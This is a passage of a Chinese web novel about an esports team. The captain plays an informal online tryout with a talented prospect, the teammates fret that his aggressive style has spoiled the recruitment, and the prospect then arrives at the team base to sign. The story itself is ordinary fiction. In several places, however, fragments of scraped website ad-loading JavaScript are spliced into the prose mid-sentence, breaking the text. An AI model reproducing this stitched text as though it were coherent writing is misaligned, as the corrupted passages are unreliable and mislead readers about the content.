又扫过旁边俩个,“你们也是。” 汪奇:“?” 但凡这队霸不那么理直气壮,被压迫惯了的三人也不至于在这时反抗——不敢拔他的网线,还不敢拔他的耳机线吗? 游戏还没加载完,三人就把音响声开到最大,一个接一个杵在了后头开始强势围观。 对局开始,兵分三路。 上次走发育路已经是两个多月前的事,奚月礼来到线上,先转了圈发育路地形,跟发育路特产——一只跑前跑后的辅助,用[吃了吗][睡了吗][状态全满吗]等表情牌互动了几下,一连收到辅助三个[发起进攻],这才开始一个不漏地补兵。 顺便在仙英率先抢到2级的强势期,点燃起手,平A收尾,把对面射手一起当兵补了。 辅助不再[发起进攻],开始狂亮[舞台给你]。 两分钟不到的发育路一血,在频道里一圈“666”“仙英是670小号吗?”的问候下,天狼连续三个[正在路上]的信号显得十万火急,又实在让人摸不着头脑。 很快,天狼刷完半边野,大家都知道了[正在路上]具体是什么意思——都让开,打野正在赶来杀人的路上。 传奇高分已经有了一定的对局强度,路人队友的细节和对局意识都在线,就算是职业选手也很少在这里打出碾压局。 地图捷报频传,一时间队友都纷纷确认起自己的分段,点赞都没跟上。 这边奚月礼伴随着地图播报,不时切换视角看一眼地图其他路,那边汪奇也在实时口播。 “Ritz刷完半片野了,Ritz出现在了中路草丛,Ritz把对面中单当经验怪宰了。” “Ritz找到了他的提款机,中路成为突破口,四个人头直接让Ritz起飞!对面中单已经在骂孤儿了,众所周知,双亲俱全的打野不会把中路当成家。” “Ritz拿完红buff了,Ritz频频切 () { $(''.inform'').remove(); $(''#content'').append('' 起发育路视角,Ritz杀心又起。” “发育路二杀了,仙英对线碾压对面天琴!” “对此熟读Hellolily英雄池的NDG观众并不惊讶,国服第一天琴670更是有话要说——T0天琴?呵呵,顶级仙英的玩具罢了。” “Ritz眨眼就8级了,Ritz开始对发育路发起进攻,Ritz三分钟抓了五次发育路,直接把HelloLily的玩具抓坏了。” “HelloLily无事可干,原地吃了个果实,坐起了观战席——卧槽队长!” 汪奇停下播报,猛地拍了下椅子,“你在干什么?!你怎么把仙英的整波兵一起补了!?” 射手作为队里的AD输出位,发育向来是头等大事,每兵必争已经刻入骨髓,对线就义时,最常安慰自己的一句话就是“死前把兵补了,这波不亏”。 就算是670这种NDG出了名的好脾气,平时吃光他碗里最爱的鸡腿都没关系,但要是有人敢在十分钟的发育路补他一个刀—— 670代入感来了,拳头在裤兜里悄悄握起,“仙英明显在控线,队长……路人局打多了,你补得也太顺手了。” 画面里天狼原地停了两秒,开始机械点塔。 优势在身,玩得又是野核,三路兵想补就补的习惯早已养成,徐锐之点了几下塔,对双排队友开麦道:“刚没注意,接下来的红野区给你。” 十分钟的红野区,比一波兵是要值钱,但前期走个来回实在费劲,移速装没出来前,奚月礼没准备拿红。 对面射辅尸体躺在地上,比手速一样狂亮[死了蒜了][我不活啦],他正看得好笑,闻言也没停下笑,“我也没注意。”仙英跟上点塔,“视角一直在你这里,没来得及控线。” 同时朝脚边尸体亮了两个[阳光普照][小树林等你]。 “……呜呜。”汪奇见徐锐之鼠标一点突然闭了麦,连忙出声发言,“下把让我来和他打吧,求求了队长让我也玩一把,卑微辅助也想在不小心补刀的时候被发安慰牌牌。” 670扫了汪奇一眼,总觉他在内涵自己。 徐锐之在自己一堆[弱爆][看,有狗][我鲨了你自便]等表情牌里挑来挑去,没能挑出一个回复。 于是再次把麦打开,用嘴回复:“……嗯。” 13.013 一声“嗯”落下,麦里再无声音。 徐锐之算着时间,一分钟后,红buff刷新。 红buff和蓝buff一样,每八分钟刷新一次,可以说是野区最值钱的两个怪。 击杀后会给击杀者带来增益状态:[普通攻击附带额外伤害并让目标减速,一定程度的生命恢复,持续时间180s。] 中单本能馋蓝,射手天性馋红。 奈何按照默认规则,前期各自发育的时候,红蓝都属于打野口袋里的东西,能不能拿得看打野脸色。 腼腆如670,也没少为了一口红在排位里认各路打野做义父,当然如果他带飞了,各路打野反过来自称不孝颠倒伦常的情况也不在少数。 这会儿野怪刷新,670第一个出声:“红刷了。” 天狼同时点了点红buff的地图信号,等了几秒,仙英仍在线上,没有过来的迹象。 麦里依旧安静,徐锐之高效刷着野,去英雄面板找了找仙英的数据,找到了他在游戏里最擅长的说话方式:NDG指挥。 “发育路一塔推了,你可以换线中路。对面已经开始抱团,仙英太脆,这辅助十分钟有九分钟在梦游,不像要醒的样子,保不住你。” “先待野区发育,等个防装。” 路过红buff,天狼直奔对面而去,最后道:“红刷了,去拿。” 奚月礼耳朵听见了这一串人声,注意力依旧在地图各处视角上。 眼看着天狼在往视野全黑的地方打入侵,他没回复这顿安排,只是道:“那里可能有三个人,不等我一起吗?” 徐锐之:“能杀。” 不出一分钟,三杀传来,天狼打了个操作到极限的一换三,对面三人死了,自己屏幕也灰了。 敌方支援赶到,仙英本就没有走远,等在那里进场打了波收割。 12分钟,对面迎来一波团灭。 频道瞬间亮起一连串[牛啊][躺了]。 队友在庆祝中不忘问候牺牲的队友:[R神一个人头比对面三个加起来都贵,亏了。] 灰屏复活足足25秒,正是峡谷召唤师最闲的时间。 “是亏了,不该被换。”徐锐之查起双方面板,不知道是在向麦克风还是向自己解释,“对面中辅换了装备,啧,两个人套了六件护甲,在跟坦克比命硬,应该先杀射手的,是我——” 就在这时奚月礼电脑响起一个提示音,他一时没听清来自哪个软件。 “锐之哥。” 一句“是我的失误”断在麦里。 耳边安静后他往桌面右下角找了眼,是微信提示,打开,派宝的夜宵分享。 回复完又扫到另一个对话框,这才看到双排队友三小时前的消息——10-12点。 “才看到你发的睡觉时间。”奚月礼关掉聊天框,“这把排位我打扰到你了。” “没,本来就没睡。” 耳机里传来一点不明动静,加上他那边声音空旷,之前一些窸窣的杂音也明显。 奚月礼一边拿红,一边好奇:“你在训练室吗?” 徐锐之扫了眼旁边突然啃起苹果的明洋,明洋摊了摊手,嘴没停。 “对。” NDG的训练室硬件设施一流,在宣传片里占了足足一半的视频长度,奚月礼想到了视频里的画面。 “柯基。”想着想着就笑了,“那只看起来快有40斤的小狗,平时就养在训练室吗?” “怎么知道有——哦,我发了视频。” 徐锐之操作起复活的天狼,“狗在训练室,已经睡了。”又道,“不是小狗了,48斤的大叔狗。” “48斤。”这个体重实在很不一般了,“晚上是不是睡得特别香?” 这货的体重跟睡眠质量确实成正比,徐锐之瞥向角落狗窝里冒出来的半个毛屁股。 “基地爆炸都吵不醒。” “它叫什么名字?” “Q宝。” “Q宝。”画面里仙英给天狼亮了个[你好]的表情牌,“鹦鹉和它吵架会喊它名字吗?” “不会,鹦鹉吵架只会骂傻狗。” “哈哈,跟谁学的?” “没跟谁学,天生素质低下。” 在背后三人一言难尽的眼神里,徐锐之直接忽略掉了自己每月足以承包Q宝下半生狗粮的脏话罚款额。 话题就这么一路去往了与对局无关的地方。 耳机里野射[三杀][四杀][无人可挡]的击杀播报成为了背景音,一直到打上对面高地,徐锐之一句“是我的失误”都没能补上。 伴随着敌方水晶爆炸,对局结束,结算画面亮起。天狼把对面人头当菜地割的击杀数量高居榜首,无疑成了本场MVP。 徐锐之停留在结算界面,对着战绩点了又关,关了又点,话题回到游戏:“一把结束,NDG的线上试训一般会有复盘环节。” 直接告诉选手个人问题在哪里,优势又在哪里。 奚月礼听一句话,意会三句,笑道:“是要马上告诉我试训结果?” 屏幕上的数据详细显示着天狼的击杀、承伤、参团与伤害转化率,每一项都无可挑剔。 “你告诉我。” “试训一把谈结果吗?不多看几把?” 徐锐之马上点下匹配:“再打几把。” 匹配被奚月礼取消。 “已经是一局天花板操作的天狼了。” “……还行。” “锐之哥的二技能好像从来没空过。” 徐锐之先嗯了一声,停顿两秒道:“今天手感还好。” “赛场上天狼常驻ban位果然很有道理。”说着奚月礼也点开结算数据,“之前不知道,顺风的天狼原来可以滚起这种程度的优势。” “没那么夸张。” 点开的不是天狼的数据,是己方中路和上单。 中上两个位置的参团率是相同的5%,经济比辅助更惨淡,在这把对局的参与度估计比不上一座防御塔。 奚月礼撑着头打了个哈欠,这是他在十分钟内打的第八个哈欠。 徐锐之久不闻后续,从房间界面点到双排队友的主页。 再次出声时,奚月礼还是一样的语气,有句话叫“‘但是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ’之前,所有的话都毫无意义”,所以他没说“但是”。 “很轻松的一局。”他关掉结算数据,“不过,不管是团战还是gank,比起队友死后去打收割,我还是更喜欢锐之哥等我一起。” 入耳的语气当然没有任何评价的意思,反馈更称不上负面,甚至因为刚打了个哈欠,更显放松而亲近,像一捧温水。 但也许是之前那一连串评价都快烫耳朵了,乍一口温水也嫌凉了。 第一时间徐锐之没吭声。 麦克风在说话声响起时已关闭,闭麦可以使另一人的组队麦听起来更清晰。 训练室安静着,看到麦克风终于闭上,最先出声的是汪奇:“什么?你们在试训?” “队长你怎么没录屏?我以为你们就随便玩把双排啊。” “真试训?教练安排的吗?”明洋苹果也没再啃了。 同时直言:“队长那几波确实有点莽了——不是说你一打三不秀的意思哈,也没有说你不信任队友的意思,我刚以为你在给他表演天狼教学局。” “试训的话……队长你最好不要开麦吧。”汪奇犹豫道,“咱试训不是有闭麦传统吗?” 后面的话没敢像明洋那样明说,毕竟大家都知道NDG青训营前辈是怎么吓唬嘴硬新人的——“我压力人?我指挥语气差?送你去跟徐锐之双排好不好?” 战队挑选手,选手也在挑战队,这本就是双向选择。 汪奇三人以自己的经历设身处地,抛开各家战队都给得起的新人待遇,正常人选战队主要还是看队友,看自己能不能适应未来队友的打法。 试训也从来不是试个人英雄主义,试的是选手之间的默契,十句“你真秀”估计都比不上一句“我们配合不错”。 就算麦里的声音和语气简直在给训练室众人的耳朵做无与伦比的按摩,但自家队霸打野什么德行,他们还能不知道吗? 670:“……感觉不太妙。” “他刚玩的是射手。”明洋赶紧提议,“试训的话,最好再打把中,我可以来一把。” 赛场常有“上头型”选手,对局一开,操作和意识常常处于盲目和天秀之间,徐锐之没少被教练组提点,但因为基本都是天秀时刻,常常靠个人能力在一把逆风局里力挽狂澜,教练点得向来不重。 复盘就在这三言两语间,局内细节清晰浮现,他再次开麦:“再打一把,玩中野,发育路不好配合。” 话落,麦里响起的却是另一道模糊声音。 那头余历半夜出来上厕所,“怎么还不睡?” “准备睡了。”一句话同时回完线上线下,奚月礼关上麦克风,转了半圈椅子面向客厅,“吵醒你了吗?” 余历梦游摆手,“快去睡。” 已经是凌晨两点,奚月礼很快从椅子上起身。 等余历回房,他刷完牙洗完脸,回到没关的电脑旁,见队伍里的头像还亮着,关机前最后向组队页面发了个表情牌:[晚安月亮]。 队伍里的人退了。 “完。”不知怎的,汪奇觉得训练室两百瓦的顶灯都暗了,“他下了,没有下一把。” 14.014 NDG训练基地位于NDG文化产业园东南角。 自COTS成立职业联盟、开放特许经营权以来,电竞战队已经成为了一种稳固的传媒资产。COTS年年火爆,战队的市值也在年年升高,CPL哪怕是积分垫底的战队,只凭一个联赛席位也能靠赛事转播权和各路赞助经营得有声有色。 如今NDG不如同市的PG战队成绩一骑绝尘、仅凭明星选手效应带来的产值就足以反哺整个PG传媒,但好在老本雄厚,出去说一声老牌电竞豪门也无人反驳,最刻薄的嘲讽顶多就一句真情实感的疑问:“什么?豪门老本还没啃完吗?” 整个产业园已落成快十年,占地近300亩,除了选手的训练基地和生活区不对外开放,园区其他功能区比如NDG传媒中心、科创平台、电竞学校、直播基地、主题电竞馆等地方并不封闭。 草坪旁的COTS主题网咖更是被人称为“NDG粉丝线下聚会地”,平时人也不少,一半是附近的普通消费者,一半是过来看看能不偶遇选手的战队粉丝。 网咖门口有个户外咖啡,草坪上摆了面巨大的NDG战队LOGO墙,配上一个数字互动装置,是著名的粉丝打卡点。 早上十点半,战队经理周托托拿了份薪资合同,从办公区步行去训练基地,路过时正想点杯咖啡,却见草坪上的LOGO墙被挡住,取而代之的是一个葬礼专供花圈。 花圈挽联左边写着“沉痛悼念Ash670、Woof双双去世,享年十八”,右边一句“逝者安息,热烈庆祝发育路开席”。 极端黑粉网上到处都是,线下倒是少见,毕竟脱离网络,那些人又哪有资本去“极端”?托托打电话让保安把花圈立马收拾了,同时联系法务调监控,出函,报警,把该走的流程都走了,一边处理一边来到训练基地。 “什么情况?”训练室空无一人。 都这个点了,选手都还没醒,照理来说,该打电话向领队铭哥责问考勤了,但想到那个花圈,平日喜欢按规矩办事的战队经理到底没说什么,转身去了会议室。 这天晚上汪奇没有睡好,醒来跟领队请了假半天假,没去训练室。 躺在床上刷手机,先登录自己的v博账号,评论区直冲眼帘。 [世界赛一轮游的那三支战队骂完了,爷又回来了。] [每日一问:醒了吗?吃了吗?医院去了吗?不送一血不舒服的病治好了吗?脑子和双手长出来吗?] [不孝子什么时候能给你爹争点气。] [@Woof @Ash670,快躲好,我刚路过NDG基地门口听见收垃圾的来了。] [四个字:赶紧退役。] …… 立马关掉。 埋在被子里调整了十分钟心态,没调整过来。抽了几张纸擤完眼泪鼻涕,汪奇只恨自己手贱又忍不住上网冲浪。 NDG-Woof最后一条v博动态停留在夏季赛八强之战的出发。 那场比赛也是NDG在S10的止步之战。 五局三胜BO5的比赛,NDG以0:3惨败主场作战的AU战队。 这锅应该谁来背?三场比赛都很明显——开局把把送双杀、结局把把被对面直线通关的发育路。 所以他们刚下赛场,发育路双人组的v博评论区直接就成了粉丝输出的垃圾场。 赛后复盘,教练组率先说到发育路问题,反思的同时汪奇心里唉声叹气——细节问题对对对,战术问题是是是,但发育路把把二打三实在遭不住啊。 复盘时推卸责任是队内大忌,汪奇也不想下队友面子,唯唯诺诺不吭声,沉默了一整个夏季赛的670却突然说了句:“发育路一血一直都是对面中单拿的。” 瞬间就引发了队伍一场口角。 中单Jiang:“在怪我咯?” 670只是低着头:“有些人在比赛里宁愿不做事,也不愿做错事,因为这样就不会挨骂。” Jiang:“你自己想去二秀三没这个本事,” “可以三打三,谁想二秀三。”670问教练,“发育路二秀三还带走一个的时候,我们中单在干什么?” 回答不用说,大家都知道:把把都被对面中单打残,在支援和挂机间选择了回家补个状态。 这不过是比赛里的一个小细节,汪奇想说的和670一样:真正的问题是NDG永远隐身的中单。 三两句口角结束于两人各挨了教练一顿训,V哥的执教风格就是“你懂了,他也懂了,肚子里明白就行,但吵架不行”。 本来一场矛盾就要消弭在众人的心照不宣间,但结束前队长徐锐之却朝教练组提议了一句:“青训营看看下赛季有没有中单可以轮替。” 中单Jiang一听,直接请假至今。 作为CPL老将,他本就只签了NDG半年,请假途中更是向NDG通知了退役。 事后汪奇偷偷给Jiang发了个消息。 只听他立马发来一段慷慨激昂的语音:“妈的不干了!谁受到了徐锐之那狗脾气!?有点天赋了不起?家里有钱了不起?老子再也不受这鸟气,老子宁愿下半辈子进厂拧螺丝!” 汪奇听那语气,不由猜想那边到底喝了几瓶。 他当然知道队长平时说话难听,赛场逆风时队友失误一多,路过的己方小兵都要挨他两巴掌,但自认为脸皮厚,又觉得多数时候他没骂错,倒没有Jiang那种怨气。 直接退役也太夸张了。 夜深人静时,却又收到他两条消息。 [Jiang:对不住了兄弟,我的问题。一直在拖后腿。] [Jiang:我只是想通了,没天赋真不能硬吃这碗饭。] 电子竞技,天赋才是最重要的入场券。在这个赛场上,天赋早已残酷地把人分为了三六九等。 汪奇一边在床上当下等尸体,一边给废话搭子明洋发消息。 [Woof:醒了吗?] [Sheep:醒了,不想起。] [Sheep:[链接]看中的人可能要和陈再那种狗东西做队友了,没法面对这样的明天。] 汪奇点开他发来的链接,一看,DTG中单FiveGod的转会通知。 [woof:所以DTG现在真的在物色新中单。] [sheep:物色到我们天梯第一头上了。] [woof:昨天他们还五排了一晚上。] [sheep:却只跟队长打了一把。] [woof:哈哈我不活啦.jpg] [sheep:DTG装逼犯陈再炫耀之日,阳光大男孩明洋跳楼之时。] 汪奇也想拜托他在天台给自己留个位了。 如果说开会看资料,那还只是个心动选手,但昨晚回宿舍后,他又睡不着,看完了心动选手在PG的所有训练赛视频,看到了什么叫“连一个平A都点满了天赋”。 以至于一整晚都在做梦,梦到自己带着新中单回到0比3的夏季赛赛场。 梦也不敢梦个大的,梦了个2:3,总算输得没那么难看。 醒来汪奇不记得别的感觉,只是想到那份名为Lilymoon的简历,配上此刻空空的肚子,由内而外感觉自己快馋哭了。 哭着哭着,就开始跟明洋惯例阴阳两句队霸。 [woof:徐锐之想象中的自己:关键时刻站出来,偷偷拿下对面中单,惊艳NDG所有人!] [sheep:实际上的徐锐之:关键时刻掉链子,偷偷对未来队友开麦秀肌肉,NDG年度战犯!] 背后说完坏话,终于振作了一点,汪奇出去吃早饭。 餐厅里670也在,他刚坐下,徐锐之也来了。 见徐锐之背上搭着毛巾,汪奇知道他是从健身房出来的,好心提醒:“队长,通宵后运动会猝死的,你睡了多久啊?这就起了?” 徐锐之取了早餐,“狗喂了吗?就轮到你上桌了?” 汪奇掏出手机里的遛狗值班表,“今天不是你喂吗?” 通宵患者惯有毛病,记忆力差,注意力也不集中。 徐锐之就像压根没听见,“吃完早饭你记得喂。” 但很快注意力就由不得他不集中。 一顿早餐汪奇的嘴也听不下来,一直在跟670单方面输出,从别家中单转会讲到自家中单没有着落,从“天梯第一”说到“Lilymoon”,从“Lilymoon”说到“HelloLily”,最后直呼“奚月礼”,搞得面也没见过的人跟他很熟似的。 时不时还要对着餐桌沉默一阵,突然来句“你们看这根麻花,像不像那年厄莎越塔发育路时甩出来的链子?” 670还好,只会“嗯啊”几句,很快明洋一来,废话有了屁话接,两个人一起长吁短叹,唾沫星子都快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喷徐锐之的粥碗里。 徐锐之啪得放下筷子。 先命令汪奇:“要么你现在去喂狗。”又看明洋,“要么你拿汪奇去喂狗。” 两人闭嘴了,一个吃油条一个喝豆浆,吃着喝着,Q宝闻着味就来了。 可能是看一群人在这里吃香的喝辣的,自己的饭却迟迟不见,Q宝围着几人转了又转,急得直跺脚,但因为腿短,跺脚也跺不明白。 汪奇看着脚边的狗,思绪又开始控制不住:“昨天他提了好几句Q宝呢。” 明洋也说:“喊Q宝名字的时候,感觉比谈游戏时感兴趣多了。” 徐锐之低头去看狗。 汪奇已经蹲下,捧住狗脑袋抬起,手中毛脸富态十足,却也算得上一句甜美讨喜。 盯视Q宝许久,汪奇突然道:“事到如今,关于我们的中单,我有一计。” 670和明洋都看了过去。 NDG辅助唯一的优点是人缘不错,和谁都处得来,很擅长和陌生人打成一片。听他语气难得带点正经,徐锐之也停下筷子。 汪奇转向唯一有对方微信的徐锐之。 “队长,你拍个Q宝照片发过去。”说着举起Q宝,“告诉他,我们NDG的狗会表演后空翻,问他要不要来看看。” 一顿早饭就在徐锐之左手扯汪奇后领、右手拎狗后颈,把他们齐齐赶下楼梯时结束了。 但凡故意伤害罪不在刑法,徐锐之都得朝楼梯上的汪奇踹上一脚,让所有人都来看看,NDG连人带狗都会后空翻。 一直到大中午,经理托托才等到训练室终于全员来齐。 刚一进门,看到这些人整齐划一的脸色,就连作息标杆徐锐之眼下也发青,不由纳闷:“怎么回事?昨晚都干什么去了?” 但托托也就是顺嘴一问,眼下有更重要的事。 没等汪奇等人回什么,她重重发话:“下午有新人过来,我过来通知你们准备一下训练赛。” NDG新人试训一般是七天,但她敲了敲手里的合同,补充道:“不约外面的战队,和青训队员意思意思打两把就行,没问题晚上就签约。” 消息来得太突然,室内几人一时都没反应过来。 汪奇:“啊?什么新人?” 明洋:“签约?签什么约?” 徐锐之皱眉:“谁?” 托托:“还能有谁?昨天开会定的人。” 汪奇:“奚奚奚——” “奚月礼。” 这下子消息不仅是突然,简直是当头一棒了。 满室对自己耳朵的怀疑里,只有徐锐之问了句废话:“他回你了?” 托托莫名其妙看他一眼,“昨天就回了。” “昨天什么时候回的?” “晚八点左右吧,回复及时又礼貌,几句就定好了今天的时间。” 看到这些人一副没在状态的样子,托托提醒:“约了下午三点,估计已经在路上了。不出意外就是你们以后的队友了,等人来了,都稳重点,别做显眼包。” 最后道:“我叫了保洁,训练室和宿舍都打扫一遍,人来之前别再弄脏。” 托托走了。 “八点。”明洋回过神,一时想不到能说什么,“八点就回复了?” “八点。”汪奇无意识翻起群聊,“跟陈再打游戏前就定好了啊。” “那昨天的试训算什么?”明洋惊了,“我们的彻夜难眠又算什么!?” 托托没走远,退回来眉头一皱:“什么试训?” 这下子没人出声了,给经理的招人计划横插一脚,不管有没有产生影响,都不是小事。 徐锐之站在原地,有一下没一下划拉着手机照片,选上了刚刚闲着没事拍的二十多张Q宝丑照。 脑子和手在分开行动,脑子在想着删除,手却划拉着按错,按了个发送,发到了微信聊天框。 训练室一片安静,聊天框也没动静,半晌他又补了一句。 [Ritz:手滑,不用管] 三分钟后。 670:“……真的要来?” 明洋:“马上就来?” 消息尘埃落定,保洁已经提着清洁用具进入训练室。 “这……”汪奇坐倒在椅子上,转了一圈,发出恍惚的声音,“……虽然不知道这是怎么发生的,但……” “……这就是穷小子牵手白富美的感觉吗?” 15.015 余历也懵了。 好不容易克服死宅天性,一大早陪着奚月礼出门,吃早饭、逛电玩城、逛花鸟市场,吃午饭,逛街、逛人行道,眼瞅着两个人就快徒步横穿B市,哪怕天气再好,对于宅男来说也快是致死的户外运动量。 正想向前面依旧精力满满的人申请中场休息,却见他掏出手机看了眼时间,心血来潮般提议道:“累了吗,前面NDG基地旁有个咖啡店,去休息一下?” 紧接着就回头给他露了个左脸酒窝,“然后你在咖啡店等等我?我去趟NDG再回来。” 余历一时以为自己听错:“去哪里?N什么G?” “NDG。”奚月礼已经勾过他的肩,一边刷着自己的手机,“网上看那家咖啡店有款榴莲豆汁拿铁,这会是什么味?给你点杯尝尝——基地就几步路的距离,顺利的话我就签个约。” 那语气就像在说“好喝的话我也来一杯”,余历这回听清了,心想他们早上只是乘了趟地铁而不是时光机吧? 一直到坐上咖啡厅的椅子,双脚终于休息了,他人还是懵的。 时值下午两点,又是工作日,户外咖啡店的人并不多。 榴莲豆汁拿铁端上来,半口下去,余历遭遇了今日的二次冲击,总算知道了世上只有更猎奇没有最猎奇。 一时不知从哪问起:“……NDG也找你了?” 奚月礼点头,一只手撑着脸观察他的表情,“好喝吗?” 余历没回,皱起来的五官已经说明一切。 “徐锐之昨天加你,是说这个?” “还有NDG的经理。”奚月礼翻过微信聊天框,给他看了眼,“一个说话很好听的漂亮姐姐。” “可是……NDG?”余历表情还停留在那扭曲的口感里,“怎么看都跟你扯不上边啊?之前从来没接触过,首发队员的名字你都喊不出吧。” “现在知道名字了。”奚月礼又点了两杯正常饮料,向他展示昨晚的补课成果,“锐之哥,明洋哥,汪——” 补课时走神了,一时没记全名字,于是上网搜起小抄,“汪奇,陆启林,资料上还有生日,嗯……这两个是弟弟。” “停。”余历竖起手掌,“哥什么哥?不爱听。我现在想到PG二队那姓赵的哥就膈应,就那个——” “冲哥。” “对,TB之类的好歹接触过,但NDG——除了名字你了解过吗?遇到第二个赵冲怎么办?” 战队LOGO就在旁边草坪上,想到这个陌生的基地就在旁边,余历本能挑起刺:“先别说人了,就说这战队的牌面实力,这赛季积分排名才第八,他们的发育路是次次被人打成真弟弟啊,出了名的送头二人组。” “哈哈,这么惨的吗?” “再说队长徐锐之,你没听过他的赛场风评吗?” 奚月礼洗耳恭听:“还有比那个《极限1v9》更厉害的?” 余历当场打开论坛,Ritz的讨伐贴压根不用费劲找,也不用他去评价什么,直接对帖宣读。 “极端个人主义——一场比赛十个人,场上除了他徐锐之就是他徐锐之的九个不孝子,CPL是什么一人独C能赢的赛场吗?” 刚点的两杯气泡果汁被送了过来,服务生小哥大概是听到了耳熟的名字,收托盘时朝余历看了好几眼,欲言又止地似乎要搭话了,奚月礼接过饮料,抬头朝他笑了笑。 小哥愣了下,离开时盘子都没收。 “我们是在背后说人坏话吗?”奚月礼凑到余历耳边,“小点声,这里可是NDG大本营,被粉丝gank了怎么办?” 余历沉默了。 感觉自己就像个无能教师,眼瞅着学生就要考试踩坑,恨不得狠狠敲黑板了,旁边这学生确实听得津津有味,却是把他的教案当八卦乐子听的。 两人已经来这里,现在说什么似乎都晚了。 “……所以为什么?”他实在纳闷,“这到底什么时候的事?” 奚月礼思考两秒,“大概是我报名校级联赛时的事?” “校级联赛?什么东西?” “电竞社的比赛,两周一场,为期两月,比赛场地都在B市。”奚月礼喝了口果汁,告诉他一个客观的事实,“B市除了PG只剩NDG了。” 余历转过脸来望他,奚月礼也转过脸回望。 许久之后,他又吸了一口果汁,“名已经报了,社长送的奶茶也喝了,总不能放学校队友的鸽子。” 余历别开头,感到旁边这人的脸慢吞吞凑过来,下巴停在肩膀边上,问:“你在生气吗?” 余历顺了顺气,“我昨晚查资料查了半天,结果你早就做好决定了。” “我有好好听你说的资料,也喜欢听——已知派宝住的是双人宿舍,Again是个英雄勺,DTG食堂开饭不准时,现在已经能在CPL场外知识大作战里打败99%的选手了。” 说着就笑起来,停在那里的下巴往他肩头一搁,“多亏了余老师。” 余历没吭声,沉默着喝完了一整杯果汁,接受现实就在这片刻间。 再开口时,先把他的脸推开,“这么随便地签战队,出不来成绩怎么办?” “昨晚也有看过NDG的比赛,看了好多场。”奚月礼没说他是在五排时开小窗解闷看的,“感觉没外面说得那么夸张?” “那赛场之外呢?不先打听一下队友的品行作风?合同一签就是绑定,风险跟开盲盒一样。” “说起来。”奚月礼听到“盲盒”,话题飞到十万八千里,“今年的生日礼物可以要COTS至臻系列的盲盒吗?比起限定款,我还是更喜欢开盲盒啊。” 余历快翻白眼了,最后无奈地重复一遍:“……真的太随便了。” 奚月礼划拉着手机,想说也没那么随便,NDG还有只漂亮的鸟和微胖的狗,队长徐锐之还会给他分享小狗照片。手指划过聊天框,一张张看完,很快在对方[手滑]的消息下回了个[哈哈],二十几张照片里,竟然没一张能看见腿的,他很快被这个发现逗笑了。 见强调着“随便”的人依旧眉毛打结,估摸着自己要说的这些话余历不爱听,所以他收起手机,换了个说法:“好啦,队友是什么需要精挑细选的事吗?” 正想再叮嘱几句的余历一时哑口无言,好半晌才开口:“……得,忘了你才是最严重的个人主义。”顿了顿又道,“我没说游戏里。” 奚月礼想到他用这个词形容徐锐之的语气,晃晃脑袋,“怎么回事?好像在骂我?” “夸你呢。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“怪我没有早点告诉你。” 奚月礼探过脸,去看他的表情,“如果你还生气,那我现在是‘余历哥哥主义’。”说着手伸进余历兜里,摸到出门时放的一颗糖,剥给他,“留在B市不好吗?周末还能一起出来玩。” 好听话这人是张口就来,但凡把这些话走个心,这一杯反人类的饮料都得被骗下肚。 “玩什么?玩你把我从城西遛到城东、还给我喂一杯榴莲豆汁?好玩吗?”余历往椅背一靠,眼不见心不烦地朝糖摆手,“赶紧的,签你的约去吧。” 剥好的糖放进自己嘴里,“可能要一段时间,一起去吗?” “不去,我去干嘛。” “好吧。”奚月礼起身看了眼时间,已经是两点半,“太晚的话不用等哦,会发消息给你。” * 两点半,距离新人到来只剩半小时。 汪奇等人切了水果,擦干净各自的键盘,在空着的电竞椅上摆了两个整齐的靠枕。 空桌太冰冷了,于是明洋去隔壁传媒中心的前台提了只招财猫,放上后满意地看了会,自觉已经备好三人所能想到的最高迎宾规格。 大门处传来动静,汪奇见徐锐之戴上帽子准备出门。 “队长,你去哪里?” 徐锐之没有回头,吩咐汪奇:“把旁边咖啡店能喝的饮料列一列,发一份我微信。” “对哦,得再备点饮料。”汪奇竖起拇指,“队长今天很周到。” 饮料在APP提前点上,徐锐之进店拎了就走,全程不到十秒。 人确实不熬夜,走路也在分神。他挑了条近道,边看手机边走了半天,走到路口才想起前面是一条网红道。 道上有个驰名方圆三千米的节目,三点前会有长达十五分钟的夹道喷泉表演。 附近的学生有事没事就会来蹲点,被喷个满头还直呼浪漫,徐锐之却觉得路上突然整这一出,这他妈跟自然灾害有什么区别? 看了眼时间,准备改道。 鸭舌帽压着眼睛,转身间他只能感到旁边有人散着步路过,估计又是个去参加淋水节目的傻缺。 然而那人路过完,又退回来两步,插在兜里的手突然伸出,莫名其妙就朝他伸来——手的目标貌似还是他的肩。 一瞬间徐锐之只觉得出来的这十几分钟真是绝了,比自然灾害更烦人的事情来了:没点边界感的粉丝。 正要先朝肩膀掸手,再通知一句“没笔不签”,旁边那人的脸却已出现,出现在他帽檐底下的视野。 人真的不能熬夜,缺觉的大脑会迟钝,把所有讯息和画面往失真的方向处理。照理来说,眼睛没道理会认出一面之缘的人,更何况那一面还只是一张照片。 嘴边的名字却脱口而出:“奚——” 伴随肩膀被轻轻一搭,名字断掉,感官成为一条直线,通往一个没由来的问题——什么味道?这么香。 “奚月礼。” 喷泉的水花和话音一起扬起,接话的人送上网友面基三连:凑近的脸,贴过来的笑,以及一个自我介绍:“月亮的月,礼物的礼——” “好巧,锐之哥是来接我的吗?” ……哦。徐锐之过了几秒反应过来,是果香。 他嘴里有颗水果硬糖。 16.016 3点整,NDG基地终于等到了门声响动。 汪奇探头去看:“是你啊队长……怎么这么久?” 紧接着他看清了徐锐之的造型,帽子摘下,一手拎着快破掉的饮料袋子,肩上半干不湿的,头发也乱得不成样,NDG队长什么时候这么狼狈过? 他惊讶:“怎么回事?被谁泼了?落水了?发生——” 话没说完,徐锐之已经侧过身,让出了后面同样落花流水的一人。 落花流水的人走进门,“都没有,只是运气超好,赶上一个限定节目,我们在喷泉里抄了条近道。” NDG三人在楼梯上,压根没注意什么“喷泉”、“近道”,因为已经认出了来人是谁。照片和真人一瞬间难以联系,但这道声音里的笑意触动了所有人耳朵的记忆。 各种称呼在脑子里滚了一圈,汪奇第一个脱口而出:“我靠!月神!” 明洋和670还愣着呢,他已经像是见到了自己的异姓兄弟,噔噔噔就往楼下跑去了,“终于等到你——本人怎么比照片还靓啊!” 